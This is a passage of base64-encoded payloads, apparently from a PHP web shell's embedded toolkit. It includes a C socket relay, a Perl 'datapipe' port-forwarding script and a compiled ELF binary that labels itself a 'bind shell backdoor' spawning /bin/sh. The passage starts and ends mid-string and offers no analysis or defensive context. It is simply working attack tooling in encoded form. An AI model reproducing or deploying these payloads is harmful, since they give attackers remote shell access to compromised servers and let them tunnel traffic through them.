nhkV2wwTVRzTkNpQWdmUTBLSUNCM2FHbHNaU0FvTVNrZ2V3MA0KS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIyTnJMQw0KWm1aSE5sS1RzTkNpQWdJQ0JHUkY5VFJWUW9iM052WTJzc0ptWmtjM0lwT3cwS0lDQWdJRVpFWDFORlZDaHZjMjlqYXl3bVptUnpaU2s3RFFvZ0lDQWdhV1lnS0hObGJHVmpkQ2d5TUN3Z0ptWmtjM0lzSQ0KRTVWVEV3c0lDWm1aSE5sTENCT1ZVeE1LU0E5UFNBdE1Ta2dldzBLSUNBZ0lDQWdabkJ5YVc1MFppaGpabWxzWlN3Z0lqVXdNQ0J6Wld4bFkzUTZJQ1Z6WEc0aUxDQnpkSEpsY25KdmNpaGxjbkp1YnlrcA0KT3cwS0lDQWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTnJMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcw0KTkNpQWdJQ0FnSUdsbUlDZ29ibUo1ZENBOUlISmxZV1FvWTNOdlkyc3NZblZtTERRd09UWXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdJQ0JwWmlBb0tIZHlhWFJsS0c5emIyTnJMRw0KSjFaaXh1WW5sMEtTa2dQRDBnTUNrTkNnbG5iM1J2SUhGMWFYUXlPdzBLSUNBZ0lIMGdaV3h6WlNCcFppQW9Sa1JmU1ZOVFJWUW9iM052WTJzc0ptWmtjM0lwSUh4OElFWkVYMGxUVTBWVUtHOXpiMk5yTA0KQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdhV1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieUJ4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcA0KZEdVb1kzTnZZMnNzWW5WbUxHNWllWFFwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnZlEwS0lDQjlEUW9OQ2lCeGRXbDBNam9OQ2lBZ2MyaDFkR1J2ZDI0b2IzTnZZMnNzTWlrN0RRbw0KZ0lHTnNiM05sS0c5emIyTnJLVHNOQ2lCeGRXbDBNVG9OQ2lBZ1ptWnNkWE5vS0dObWFXeGxLVHNOQ2lBZ2MyaDFkR1J2ZDI0b1kzTnZZMnNzTWlrN0RRb2djWFZwZERBNkRRb2dJR1pqYkc5elpTaGpabQ0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsNCiRkYXRhcGlwZV9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DblZ6WlNCUVQxTkpXRHNOQ2lSc2IyTmhiSEJ2Y25RZ1BTQWtRVkpIVmxzd1hUc05DaVJvYjNOMEkNCkNBZ0lDQWdQU0FrUVZKSFZsc3hYVHNOQ2lSd2IzSjBJQ0FnSUNBZ1BTQWtRVkpIVmxzeVhUc05DaVJrWVdWdGIyNDlNVHNOQ2lSRVNWSWdQU0IxYm1SbFpqc05DaVI4SUQwZ01Uc05DbWxtSUNna1pHRmwNCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UNCmdJaVFoSWpzZ2ZRMEtKVzhnUFNBb0ozQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKM1J2Y0c5eWRDY2dQVDRnSkhCdmNuUXNKM1J2YUc5emRDY2dQVDRnSkdodmMzUXBPdzBLSkdGb0lEMGdTVTg2T2wNCk52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RNYjJOaGJGQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKMUpsZFhObEp5QTlQaUF4TENkTWFYTjBaVzRuSUQwK0lERXdLU0I4ZkNCa2FXVWdJaVFoSWpzTkMNCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkNCmFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0lHNWxlSFE3SUgwTkNpc3JKRzUxYlRzTkNpUndhV1FnUFNCbWIzSnJLQ2s3RFFwcFppQW9JV1JsWm1sdVpXUW9KSEJwWkNrcElIc2djSEpwYm5RZ1UxUkVSVkoNClNJQ0lrSVZ4dUlqc2dmU0FOQ21Wc2MybG1JQ2drY0dsa0lEMDlJREFwSUhzZ0pHRm9MVDVqYkc5elpTZ3BPeUJTZFc0b1hDVnZMQ0FrWTJnc0lDUnVkVzBwT3lCOUlBMEtaV3h6WlNCN0lDUmphQzArWTINCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVENCldSa2NpY2dQVDRnSkc4dFBuc25kRzlvYjNOMEozMHNKMUJsWlhKUWIzSjBKeUE5UGlBa2J5MCtleWQwYjNCdmNuUW5mU2s3RFFwcFppQW9JU1IwYUNrZ2V5QmxlR2wwSURBN0lIME5DbTE1SUNSbWFEc04NCkNtbG1JQ2drYnkwK2V5ZGthWEluZlNrZ2V5QWtabWdnUFNCVGVXMWliMnc2T21kbGJuTjViU2dwT3lCdmNHVnVLQ1JtYUN3Z0lqNGtieTArZXlka2FYSW5mUzkwZFc1dVpXd2tiblZ0TG14dlp5SXBJRzkNCnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkNCkk3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUQwZ01TQnBaaUFrWTJnN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUjBhQ2tzSURFcElEMGdNU0JwWmlBa2RHZzdEUXB0ZVNna2MNCm05MWRDd2dKR1Z2ZFhRcE93MEtjMlZzWldOMEtDUnliM1YwSUQwZ0pISnBiaXdnZFc1a1pXWXNJQ1JsYjNWMElEMGdKSEpwYml3Z01USXdLVHNOQ21sbUlDZ2hKSEp2ZFhRZ0lDWW1JQ0FoSkdWdmRYUXANCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoNCmxZeWdrY205MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcEtTa2dldzBLYlhrZ0pISmxjM1ZzZENBOUlITjVjM0psWVdRb0pHTm9MQ0FrZEdKMVptWmxjaXdnTVRBeU5DazdEUXBwWmlBb0lXUmxabWx1WlcNClFvSkhKbGMzVnNkQ2twSUhzTkNuQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdEUXBsZUdsMElEQTdEUXA5RFFwcFppQW9KSEpsYzNWc2RDQTlQU0F3S1NCN0lHVjRhWFFnTURzZ2ZRMEtmUTBLYVdZZ0sNCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcNCmMzbHpjbVZoWkNna2RHZ3NJQ1JqWW5WbVptVnlMQ0F4TURJMEtUc05DbWxtSUNnaFpHVm1hVzVsWkNna2NtVnpkV3gwS1NrZ2V5QndjbWx1ZENCVFZFUkZVbElnSWlRaFhHNGlPeUJsZUdsMElEQTdJSDANCk5DbWxtSUNna2NtVnpkV3gwSUQwOUlEQXBJSHRsZUdsMElEQTdmUTBLZlEwS2FXWWdLQ1JtYUNBZ0ppWWdJQ1IwWW5WbVptVnlLU0I3S0hCeWFXNTBJQ1JtYUNBa2RHSjFabVpsY2lrN2ZRMEtkMmhwYkcNClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kNCkRBcElIc2tkR0oxWm1abGNpQTlJSE4xWW5OMGNpZ2tkR0oxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlEwS2QyaHBiR1VnS0cxNUlDUnMNClpXNGdQU0JzWlc1bmRHZ29KR05pZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pHTm9MQ0FrWTJKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSURBcElIc2tZMkoNCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7DQokcG9ydF9iaW5kX2JkX2NzPSJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQW9JVUVDRFFBQUFENEVnQUFBQUFBQURRQUlBQUhBQ2dBSWdBZkFBWUFBQUEwQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSXJBa0FBS3dKQUFBRkFBQUFBQkFBQUFFQUFBQ3NDUUFBckprRUNLeVpCQWcwQVFBQU9BRUFBQVlBQUFBQUVBQUFBZ0FBQU1BSkFBREFtUVFJd0prRUNNZ0FBQURJQUFBQUJnQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUVBQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFBQUFBQUJFQUFBQVRBQUFBQUFBQUFBQUFBQUFRQUFBQUVRQUFBQUFBQUFBQUFBQUFDUUFBQUFnQUFBQUZBQUFBQXdBQUFBMEFBQUFBQUFBQUFBQUFBQThBQUFBS0FBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUJBQUFBQUFBQUFBY0FBQUFMQUFBQUFBQUFBQVFBQUFBTUFBQUFEZ0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQzRBQUFBQUFBQUFkUUVBQUJJQUFBQ2dBQUFBQUFBQUFIRUFBQUFTQUFBQU5BQUFBQUFBQUFETUFBQUFFZ0FBQUdvQUFBQUFBQUFBV2dBQUFCSUFBQUJNQUFBQUFBQUFBSGdBQUFBU0FBQUFZd0FBQUFBQUFBQTVBQUFBRWdBQUFGZ0FBQUFBQUFBQU9RQUFBQklBQUFDT0FBQUFBQUFBQU9ZQUFBQVNBQUFBT3dBQUFBQUFBQUE2QUFBQUVnQUFBRk1BQUFBQUFBQUFPUUFBQUJJQUFBQjFBQUFBQUFBQUFMa0FBQUFTQUFBQWVnQUFBQUFBQUFBckFBQUFFZ0FBQUVjQUFBQUFBQUFBZUFBQUFCSUFBQUJ2QUFBQUFBQUFBQTRBQUFBU0FBQUFmd0FBQUVpSkJBZ0VBQUFBRVFBT0FFQUFBQUFBQUFBQU9RQUFBQklBQUFBQkFBQUFBQUFBQUFBQUFBQWdBQUFBRlFBQUFBQUFBQUFBQUFBQUlBQUFBQUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUY5ZloyMXZibDl6ZEdGeWRGOWZBR3hwWW1NdWMyOHVOZ0JsZUdWamJBQndaWEp5YjNJQVpIVndNZ0J6YjJOclpYUUFjMlZ1WkFCaFkyTmxjSFFBWW1sdVpBQnpaWFJ6YjJOcmIzQjBBR3hwYzNSbGJnQm1iM0pyQUdoMGIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmZYMnhwWW1OZmMzUmhjblJmYldGcGJnQmpiRzl6WlFCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBUUFDQUFBQUFBQUFBQUVBQVFBa0FBQUFFQUFBQUFBQUFBQVFhV2tOQUFBQ0FLWUFBQUFBQUFBQWlKb0VDQVlTQUFDWW1nUUlCd0VBQUp5YUJBZ0hBZ0FBb0pvRUNBY0RBQUNrbWdRSUJ3UUFBS2lhQkFnSEJRQUFySm9FQ0FjR0FBQ3dtZ1FJQndjQUFMU2FCQWdIQ0FBQXVKb0VDQWNKQUFDOG1nUUlCd29BQU1DYUJBZ0hDd0FBeEpvRUNBY01BQURJbWdRSUJ3MEFBTXlhQkFnSERnQUEwSm9FQ0FjUUFBQlZpZVdEN0Fqb01RRUFBT2lEQVFBQTZGc0VBQURKd3dEL05aQ2FCQWovSlpTYUJBZ0FBQUFBL3lXWW1nUUlhQUFBQUFEcDRQLy8vLzhsbkpvRUNHZ0lBQUFBNmRELy8vLy9KYUNhQkFob0VBQUFBT25BLy8vLy95V2ttZ1FJYUJnQUFBRHBzUC8vLy84bHFKb0VDR2dnQUFBQTZhRC8vLy8vSmF5YUJBaG9LQUFBQU9tUS8vLy8veVd3bWdRSWFEQUFBQURwZ1AvLy8vOGx0Sm9FQ0dnNEFBQUE2WEQvLy8vL0piaWFCQWhvUUFBQUFPbGcvLy8vL3lXOG1nUUlhRWdBQUFEcFVQLy8vLzhsd0pvRUNHaFFBQUFBNlVELy8vLy9KY1NhQkFob1dBQUFBT2t3Ly8vLy95WEltZ1FJYUdBQUFBRHBJUC8vLy84bHpKb0VDR2hvQUFBQTZSRC8vLy8vSmRDYUJBaG9jQUFBQU9rQS8vLy9NZTFlaWVHRDVQQlFWRkpvcllnRUNHaGNpQVFJVVZab1FJWUVDT2hmLy8vLzlKQ1FWWW5sVStnYkFBQUFnY08vRkFBQWcrd0VpNFA4Ly8vL2hjQjBBdi9RZzhRRVcxM0RpeHdrdzFXSjVZUHNDSUE5NEpvRUNBQjBET3NjZzhBRW85eWFCQWovMHFIY21nUUlpeENGMG5YcnhnWGdtZ1FJQWNuRFZZbmxnK3dJb2J5WkJBaUZ3SFFTdUFBQUFBQ0Z3SFFKeHdRa3ZKa0VDUC9ReWNPUWtGV0o1VmVEN0dTRDVQQzRBQUFBQUlQQUQ0UEFEOEhvQk1IZ0JDbkV4MFhrQVFBQUFNZEYrRXlKQkFqSFJDUUlBQUFBQU1kRUpBUUJBQUFBeHdRa0FnQUFBT2dKLy8vL2lVWHdnMzN3QUhrWXh3UWtqSWtFQ09nMC92Ly94d1FrQVFBQUFPaW8vdi8vWnNkRjFBSUF4MFhZQUFBQUFJdEZESVBBQklzQWlRUWs2SnYrLy84UHQ4Q0pCQ1Rvc1A3Ly8yYUpSZGJIUkNRUUJBQUFBSTFGNUlsRUpBekhSQ1FJQWdBQUFNZEVKQVFCQUFBQWkwWHdpUVFrNkJMKy8vK05SZFRIUkNRSUVBQUFBSWxFSkFTTFJmQ0pCQ1RvS1A3Ly80WEFlUmpIQkNTVGlRUUk2S2o5Ly8vSEJDUUJBQUFBNkJ6Ky8vL0hSQ1FFQ0FBQUFJdEY4SWtFSk9pNS9mLy9oY0I1R01jRUpKaUpCQWpvZWYzLy84Y0VKQUVBQUFEbzdmMy8vOGRGNkJBQUFBQ05SZWlOVmNTSlJDUUlpVlFrQkl0RjhJa0VKT2h0L2YvL2lVWDBnMzMwQUhrTXh3UWtqSWtFQ09nNC9mLy82RVA5Ly8rRndBK0Vwd0FBQUl0RitMbi8vLy8vaVVXNHVBQUFBQUQ4aTMyNDhxNkp5UGZRZytnQngwUWtEQUFBQUFDSlJDUUlpMFg0aVVRa0JJdEY5SWtFSk9pUS9mLy94MFFrQkFBQUFBQ0xSZlNKQkNUb1BmMy8vOGRFSkFRQkFBQUFpMFgwaVFRazZDcjkvLy9IUkNRRUFnQUFBSXRGOUlrRUpPZ1gvZi8veDBRa0NBQUFBQURIUkNRRW40a0VDTWNFSkorSkJBam9lL3ovLzR0RjhJa0VKT2lBL1AvL3h3UWtBQUFBQU9nRS9mLy9pMFgwaVFRazZHbjgvLy9wRHYvLy8xV0o1VmRXTWZaVDZILzkvLytCd3lNU0FBQ0Q3QXpvRWZ6Ly80MkRJUC8vLzQyVElQLy8vNGxGOENuUXdmZ0NPY1p6Rm9uWC94U3lpMFh3ZzhZQktmaUorc0g0QWpuR2N1eUR4QXhiWGw5ZHcxV0o1WVBzR0lsZDlPZ3QvZi8vZ2NQUkVRQUFpWFg0aVgzOGpiTWcvLy8vamJzZy8vLy9LZjdCL2dMckEvOFV0NFB1QVlQKy8zWDE2RG9BQUFDTFhmU0xkZmlMZmZ5SjdGM0RrRldKNVZPRDdBU2hySmtFQ0lQNC8zUVN1NnlaQkFqLzBJdEQvSVByQklQNC8zWHpnOFFFVzEzRGtKQ1FWWW5sVStpNy9QLy9nY05mRVFBQWcrd0U2TEg4Ly8rRHhBUmJYY01BQUFBREFBQUFBUUFDQURvNklIYzBZMnN4Ym1jdGMyaGxiR3dnS0ZCeWFYWmhkR1VnUW5WcGJHUWdkakF1TXlrZ1ltbHVaQ0J6YUdWc2JDQmlZV05yWkc5dmNpQTZPaUFLQ2dCemIyTnJaWFFBWW1sdVpBQnNhWE4wWlc0QUwySnBiaTl6YUFBQUFBQUFBUC8vLy84QUFBQUEvLy8vL3dBQUFBQUFBQUFBQVFBQUFDUUFBQUFNQUFBQWlJUUVDQTBBQUFBa2lRUUlCQUFBQUVpQkJBZ0ZBQUFBRUlNRUNBWUFBQURnZ1FRSUNnQUFBTEFBQUFBTEFBQUFFQUFBQUJVQUFBQUFBQUFBQXdBQUFJeWFCQWdDQUFBQWVBQUFBQlFBQUFBUkFBQUFGd0FBQUJDRUJBZ1JBQUFBQ0lRRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXY2SU1FQ1AvLy8yOEJBQUFBOFAvL2I4Q0RCQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3SmtFQ0FBQUFBQUFBQUFBdG9RRUNNYUVCQWpXaEFRSTVvUUVDUGFFQkFnR2hRUUlGb1VFQ0NhRkJBZzJoUVFJUm9VRUNGYUZCQWhtaFFRSWRvVUVDSWFGQkFpV2hRUUlBQUFBQUFBQUFBQzRtUVFJQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBQUFjQUFBQUFnQUFBQUFBQkFBQUFBQUFvSVVFQ0NJQUFBQUFBQUFBQUFBQUFEUUFBQUFDQUFzQkFBQUVBQUFBQUFEb2hRUUlCQUFBQUNTSkJBZ1NBQUFBaUlRRUNBc0FBQURFaFFRSUpBQUFBQUFBQUFBQUFBQUFMQUFBQUFJQW13RUFBQVFBQUFBQUFPaUZCQWdFQUFBQU80a0VDQVlBQUFDZGhBUUlBZ0FBQUFBQUFBQUFBQUFBSVFBQUFBSUFlZ0FBQUpFQUFBQjVBQUFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQUFBQUhZQUFBQUNBQUFBQUFBRUFRQUFBQUNnaFFRSXdvVUVDQzR1TDNONWMyUmxjSE12YVRNNE5pOWxiR1l2YzNSaGNuUXVVd0F2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2WjJ4cFltTXRNaTR6TGpZdlkzTjFBRWRPVlNCQlV5QXlMakUyTGpreEFBR0FqUUFBQUFJQUZBQUFBQVFCV3dBQUFNU0ZCQWpFaFFRSVlnQUFBQUVBQUFBQUVRQUFBQUtRQUFBQUJBY0NWQUFBQUFFSUFwMEFBQUFDQndLTEFBQUFCQWNDVmdBQUFBRUdBZ2NBQUFBQ0JRTnBiblFBQkFVQ1JnQUFBQWdGQW9ZQUFBQUlCd0pMQUFBQUJBVUNrQUFBQUFRSEFsMEFBQUFCQmdTd0FBQUFBUm1MQUFBQUFRVURTSWtFQ0FWUEFBQUFBSXdBQUFBQ0FGWUFBQUFFQVlJQUFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnBMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnSXdBQUFBQ0FHWUFBQUFFQVM4QkFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnVMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnQUVSQUJBR0VRRVNBUU1JR3dnbENCTUZBQUFBQVJFQkVBWVNBUkVCSlE0VEN3TU9HdzRBQUFJa0FBTU9Dd3MrQ3dBQUF5UUFBd2dMQ3o0TEFBQUVOQUFERGpvTE93dEpFejhNQWdvQUFBVW1BRWtUQUFBQUFSRUFFQVlEQ0JzSUpRZ1RCUUFBQUFFUkFCQUdBd2diQ0NVSUV3VUFBQUJYQUFBQUFnQXlBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htQUFCemRHRnlkQzVUQUFFQUFBQUFCUUtnaFFRSUE4QUFBVE1oTkQwbElnTVlJRmxhSVNKY1d3SUJBQUVCSXdBQUFBSUFIUUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCQUdsdWFYUXVZd0FBQUFBQXFRQUFBQUlBVUFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1VBQUdOeWRHa3VVd0FCQUFBQUFBVUM2SVVFQ0FQQUFBRTlBZ0VBQVFFQUJRSWtpUVFJQXk0QklTOGhXV2NDQXdBQkFRQUZBb2lFQkFnREh3RWhMejBDQlFBQkFRQUZBc1NGQkFnRENnRWhMeUZaWnoxbkx5OHdQU0VoQWdFQUFRR0lBQUFBQWdCUUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFFBQVkzSjBiaTVUQUFFQUFBQUFCUUxvaFFRSUF5RUJQUUlCQUFFQkFBVUNPNGtFQ0FNU0FUMGhJUUlCQUFFQkFBVUNuWVFFQ0FNSkFTRUNBUUFCQVdsdWFYUXVZd0J6YUc5eWRDQnBiblFBTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJzYjI1bklHeHZibWNnYVc1MEFIVnVjMmxuYm1Wa0lHTm9ZWElBUjA1VklFTWdNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBYkc5dVp5QnNiMjVuSUhWdWMybG5ibVZrSUdsdWRBQnphRzl5ZENCMWJuTnBaMjVsWkNCcGJuUUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFDNXplVzEwWVdJQUxuTjBjblJoWWdBdWMyaHpkSEowWVdJQUxtbHVkR1Z5Y0FBdWJtOTBaUzVCUWtrdGRHRm5BQzVvWVhOb0FDNWtlVzV6ZVcwQUxtUjVibk4wY2dBdVoyNTFMblpsY25OcGIyNEFMbWR1ZFM1MlpYSnphVzl1WDNJQUxuSmxiQzVrZVc0QUxuSmxiQzV3YkhRQUxtbHVhWFFBTG5SbGVIUUFMbVpwYm1rQUxuSnZaR0YwWVFBdVpXaGZabkpoYldVQUxtTjBiM0p6QUM1a2RHOXljd0F1YW1OeUFDNWtlVzVoYldsakFDNW5iM1FBTG1kdmRDNXdiSFFBTG1SaGRHRUFMbUp6Y3dBdVkyOXRiV1Z1ZEFBdVpHVmlkV2RmWVhKaGJtZGxjd0F1WkdWaWRXZGZjSFZpYm1GdFpYTUFMbVJsWW5WblgybHVabThBTG1SbFluVm5YMkZpWW5KbGRnQXVaR1ZpZFdkZmJHbHVaUUF1WkdWaWRXZGZjM1J5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHd0FBQUFFQUFBQUNBQUFBRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQXhBQUFBQlFBQUFBSUFBQUJJZ1FRSVNBRUFBSmdBQUFBRUFBQUFBQUFBQUFRQUFBQUVBQUFBTndBQUFBc0FBQUFDQUFBQTRJRUVDT0FCQUFBd0FRQUFCUUFBQUFFQUFBQUVBQUFBRUFBQUFEOEFBQUFEQUFBQUFnQUFBQkNEQkFnUUF3QUFzQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFEQWd3UUl3QU1BQUNZQUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQVZBQUFBUDcvLzI4Q0FBQUE2SU1FQ09nREFBQWdBQUFBQlFBQUFBRUFBQUFFQUFBQUFBQUFBR01BQUFBSkFBQUFBZ0FBQUFpRUJBZ0lCQUFBQ0FBQUFBUUFBQUFBQUFBQUJBQUFBQWdBQUFCc0FBQUFDUUFBQUFJQUFBQVFoQVFJRUFRQUFIZ0FBQUFFQUFBQUN3QUFBQVFBQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBaUlRRUNJZ0VBQUFYQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQUFLQ0VCQWlnQkFBQUFBRUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQjdBQUFBQVFBQUFBWUFBQUNnaFFRSW9BVUFBSVFEQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBZ1FBQUFBRUFBQUFHQUFBQUpJa0VDQ1FKQUFBZEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFJY0FBQUFCQUFBQUFnQUFBRVNKQkFoRUNRQUFZd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQUlBQUFDb2lRUUlxQWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW1RQUFBQUVBQUFBREFBQUFySmtFQ0t3SkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS0FBQUFB